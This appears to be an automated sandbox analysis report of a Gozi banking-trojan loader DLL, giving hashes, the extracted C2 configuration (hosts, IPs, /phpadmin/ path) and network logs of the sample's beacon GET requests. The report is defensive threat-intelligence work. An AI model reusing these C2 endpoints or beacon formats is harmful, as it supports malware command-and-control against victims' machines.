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Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
24/12/2024, 11:56 UTC
Static task
static1
Behavioral task
behavioral1
Sample
JaffaCakes118_10793e2d156728f10f3293f7794e35c1dba56e7cb5401fd45f15f2505bd6bb88.dll
Resource
win7-20240729-en
General
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Target
JaffaCakes118_10793e2d156728f10f3293f7794e35c1dba56e7cb5401fd45f15f2505bd6bb88.dll
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Size
626KB
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MD5
f7db55ba4dcd3bd1c9b193e0a05ea33e
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SHA1
9039fc5e59ab7a6320d10ffdb78b053849c349da
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SHA256
10793e2d156728f10f3293f7794e35c1dba56e7cb5401fd45f15f2505bd6bb88
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SHA512
7c4e7ab59abe31a03789138f67c9a78159c68333f2efd3383cf1eb6d35b6c4c0c274d3fae70f8f679ed9aaab9792167818e3245ba77106a157f3c57df5e32195
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SSDEEP
12288:+w1lEKREbddtOYRbHzcPwka1dCjc3N8ZF2:+w1lEKOpuYxiwkkgjAN8ZY
Malware Config
Extracted
gozi
Extracted
gozi
999
config.edge.skype.com
146.70.35.138
146.70.35.142
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base_path
/phpadmin/
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build
250227
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exe_type
loader
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extension
.src
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server_id
50
Signatures
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Gozi family
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Blocklisted process makes network request 4 IoCs
flow pid Process 19 3012 rundll32.exe 25 3012 rundll32.exe 47 3012 rundll32.exe 48 3012 rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2844 wrote to memory of 3012 2844 rundll32.exe 82 PID 2844 wrote to memory of 3012 2844 rundll32.exe 82 PID 2844 wrote to memory of 3012 2844 rundll32.exe 82
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_10793e2d156728f10f3293f7794e35c1dba56e7cb5401fd45f15f2505bd6bb88.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_10793e2d156728f10f3293f7794e35c1dba56e7cb5401fd45f15f2505bd6bb88.dll,#12⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:3012
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Network
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Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
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Remote address:8.8.8.8:53Request13.86.106.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request4.159.190.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request228.249.119.40.in-addr.arpaIN PTRResponse
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GEThttp://config.edge.skype.com/phpadmin/c1162Bfk/fmGgZrngJGOnUpKxAEO1DSC/ROwa42xgzm/wDNua8nNV7TWItWw4/q6ElyxHi9zWw/H7Tc2DSABU0/MMbHfjhdnMZjBW/YGhxattzS8AktiEL7lnqK/uQGntIf9fcFhqVCd/MllCkIqCvdDpQXb/aiXzSH2XXVAa0bQ7mn/gedMNFhZ9/fvLsRwCpg2T_2F5vcLpx/UKgVtKbQhWXk7nV57ni/SCNhVKcwpn6mDSmEYwNQRS/o0.srcrundll32.exeRemote address:13.107.42.16:80RequestGET /phpadmin/c1162Bfk/fmGgZrngJGOnUpKxAEO1DSC/ROwa42xgzm/wDNua8nNV7TWItWw4/q6ElyxHi9zWw/H7Tc2DSABU0/MMbHfjhdnMZjBW/YGhxattzS8AktiEL7lnqK/uQGntIf9fcFhqVCd/MllCkIqCvdDpQXb/aiXzSH2XXVAa0bQ7mn/gedMNFhZ9/fvLsRwCpg2T_2F5vcLpx/UKgVtKbQhWXk7nV57ni/SCNhVKcwpn6mDSmEYwNQRS/o0.src HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
Host: config.edge.skype.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 400 Bad Request
X-MSEdge-Ref: 0jqFqZwAAAAB7jpMxaE8zTIwnHYiOtYqBTE9OMDRFREdFMTEwOQBFZGdl
Date: Tue, 24 Dec 2024 11:57:02 GMT
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Remote address:8.8.8.8:53Request149.220.183.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request50.23.12.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request198.187.3.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request200.163.202.172.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request182.129.81.91.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request48.229.111.52.in-addr.arpaIN PTRResponse
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GEThttp://config.edge.skype.com/phpadmin/bQoHqyVz8ENn7rfBkpM/AP0M9qRr0SKtjyHEwbMzta/n_2BMxTCfruO_/2BzZrHsO/BsOlaxVLOq1t7FmnZCRMxZy/ycWyye_2BG/Qem6jUXHj_2BfiJD2/U_2Bgn3rVh7p/4OQUesJB8J_/2FQDO_2B0nzgat/VhYbIaLeMiO1NcOzPSUE3/BTIg7hlWFQtRtEu8/ZrFfVtaS8Ek3CGy/JVPAa2lN7haAE9ZlKp/ufT_2FDcB/cg6qhQS7kPklR/h1PLIKrRY/a.srcrundll32.exeRemote address:13.107.42.16:80RequestGET /phpadmin/bQoHqyVz8ENn7rfBkpM/AP0M9qRr0SKtjyHEwbMzta/n_2BMxTCfruO_/2BzZrHsO/BsOlaxVLOq1t7FmnZCRMxZy/ycWyye_2BG/Qem6jUXHj_2BfiJD2/U_2Bgn3rVh7p/4OQUesJB8J_/2FQDO_2B0nzgat/VhYbIaLeMiO1NcOzPSUE3/BTIg7hlWFQtRtEu8/ZrFfVtaS8Ek3CGy/JVPAa2lN7haAE9ZlKp/ufT_2FDcB/cg6qhQS7kPklR/h1PLIKrRY/a.src HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
Host: config.edge.skype.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 400 Bad Request
X-MSEdge-Ref: 0CKJqZwAAAABDDedScEdYTqrV0ERSFrzdTE9OMDRFREdFMTIyMABFZGdl
Date: Tue, 24 Dec 2024 11:59:03 GMT
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13.107.42.16:80http://config.edge.skype.com/phpadmin/c1162Bfk/fmGgZrngJGOnUpKxAEO1DSC/ROwa42xgzm/wDNua8nNV7TWItWw4/q6ElyxHi9zWw/H7Tc2DSABU0/MMbHfjhdnMZjBW/YGhxattzS8AktiEL7lnqK/uQGntIf9fcFhqVCd/MllCkIqCvdDpQXb/aiXzSH2XXVAa0bQ7mn/gedMNFhZ9/fvLsRwCpg2T_2F5vcLpx/UKgVtKbQhWXk7nV57ni/SCNhVKcwpn6mDSmEYwNQRS/o0.srchttprundll32.exe656 B 583 B 5 5
HTTP Request
GET http://config.edge.skype.com/phpadmin/c1162Bfk/fmGgZrngJGOnUpKxAEO1DSC/ROwa42xgzm/wDNua8nNV7TWItWw4/q6ElyxHi9zWw/H7Tc2DSABU0/MMbHfjhdnMZjBW/YGhxattzS8AktiEL7lnqK/uQGntIf9fcFhqVCd/MllCkIqCvdDpQXb/aiXzSH2XXVAa0bQ7mn/gedMNFhZ9/fvLsRwCpg2T_2F5vcLpx/UKgVtKbQhWXk7nV57ni/SCNhVKcwpn6mDSmEYwNQRS/o0.srcHTTP Response
400 -
260 B 5
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13.107.42.16:80http://config.edge.skype.com/phpadmin/bQoHqyVz8ENn7rfBkpM/AP0M9qRr0SKtjyHEwbMzta/n_2BMxTCfruO_/2BzZrHsO/BsOlaxVLOq1t7FmnZCRMxZy/ycWyye_2BG/Qem6jUXHj_2BfiJD2/U_2Bgn3rVh7p/4OQUesJB8J_/2FQDO_2B0nzgat/VhYbIaLeMiO1NcOzPSUE3/BTIg7hlWFQtRtEu8/ZrFfVtaS8Ek3CGy/JVPAa2lN7haAE9ZlKp/ufT_2FDcB/cg6qhQS7kPklR/h1PLIKrRY/a.srchttprundll32.exe672 B 543 B 5 4
HTTP Request
GET http://config.edge.skype.com/phpadmin/bQoHqyVz8ENn7rfBkpM/AP0M9qRr0SKtjyHEwbMzta/n_2BMxTCfruO_/2BzZrHsO/BsOlaxVLOq1t7FmnZCRMxZy/ycWyye_2BG/Qem6jUXHj_2BfiJD2/U_2Bgn3rVh7p/4OQUesJB8J_/2FQDO_2B0nzgat/VhYbIaLeMiO1NcOzPSUE3/BTIg7hlWFQtRtEu8/ZrFfVtaS8Ek3CGy/JVPAa2lN7haAE9ZlKp/ufT_2FDcB/cg6qhQS7kPklR/h1PLIKrRY/a.srcHTTP Response
400 -
52 B 1
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66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
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71 B 157 B 1 1
DNS Request
13.86.106.20.in-addr.arpa
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74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
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71 B 157 B 1 1
DNS Request
4.159.190.20.in-addr.arpa
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73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
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73 B 159 B 1 1
DNS Request
228.249.119.40.in-addr.arpa
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73 B 147 B 1 1
DNS Request
149.220.183.52.in-addr.arpa
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70 B 156 B 1 1
DNS Request
50.23.12.20.in-addr.arpa
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71 B 157 B 1 1
DNS Request
198.187.3.20.in-addr.arpa
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74 B 160 B 1 1
DNS Request
200.163.202.172.in-addr.arpa
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72 B 147 B 1 1
DNS Request
182.129.81.91.in-addr.arpa
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72 B 158 B 1 1
DNS Request
48.229.111.52.in-addr.arpa